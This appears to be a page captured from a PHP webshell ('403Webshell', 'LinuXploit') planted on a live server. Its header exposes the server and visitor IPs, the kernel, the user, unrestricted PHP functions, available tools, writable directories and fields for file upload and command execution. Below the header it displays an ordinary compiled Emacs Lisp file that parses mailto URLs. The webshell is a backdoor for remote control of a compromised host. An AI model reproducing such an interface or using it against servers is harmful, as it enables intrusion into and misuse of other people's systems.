403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/mail/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/mail/rfc6068.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



#@254 Unhexify STRING -- e.g. `hello%20there' -> `hello there'.
STRING is assumed to be a percentage-encoded utf-8 string.

If INHIBIT-DECODE is non-nil, return the resulting raw byte
string instead of decoding as utf-8.

(fn STRING &optional INHIBIT-DECODE)
(defalias 'rfc6068-unhexify-string #[513 "\300\301\302\"r\211q\210\303\304\"\216\305\306!\210c\210eb\210\307\310\306\302#\203/\311\312\313\314\315!\316\"!\302\211#\210\202\317 *\262\2039\207\320\321\"\207" [generate-new-buffer " *temp*" t make-closure #[0 "\301\300!\205	\302\300!\207" [V0 buffer-name kill-buffer] 2] set-buffer-multibyte nil re-search-forward "%\\([[:xdigit:]]\\{2\\}\\)" replace-match string string-to-number match-string 1 16 buffer-string decode-coding-string utf-8] 8 (#$ . 85)])
#@414 Parse MAILTO-URL, and return an alist of header-name, header-value pairs.
MAILTO-URL should be a RFC 6068 (mailto) compliant url.  A cons cell w/ a
key of `Body' is a special case and is considered a header for this purpose.
The returned alist is intended for use w/ the `compose-mail' interface.
Note: make sure MAILTO-URL has been "unhtmlized" (e.g., & -> &), before
calling this function.

(fn MAILTO-URL)
(defalias 'rfc6068-parse-mailto-url #[257 "\301\302\303\304\305#\262\306\307\"\205O\310\311\"\310\312\"\211\203'\313\314\315\316\"\"\262\203L\317!\262\320\321\"\211\203D\211\322AQ\241\266\202L\321BB\262\210\266\202)\207" [case-fold-search t nil string-replace "\n" " " string-match "^\\(mailto:\\)\\([^?]+\\)?\\(\\?\\(.*\\)\\)*" match-string 2 4 mapcar #[257 "\300\301\"\211@A@\302\303!!\303!B\207" [split-string "=" capitalize rfc6068-unhexify-string] 7 "\n\n(fn X)"] split-string "&" rfc6068-unhexify-string assoc "To" ", "] 10 (#$ . 857)])
(provide 'rfc6068)

Youez - 2016 - github.com/yon3zu
LinuXploit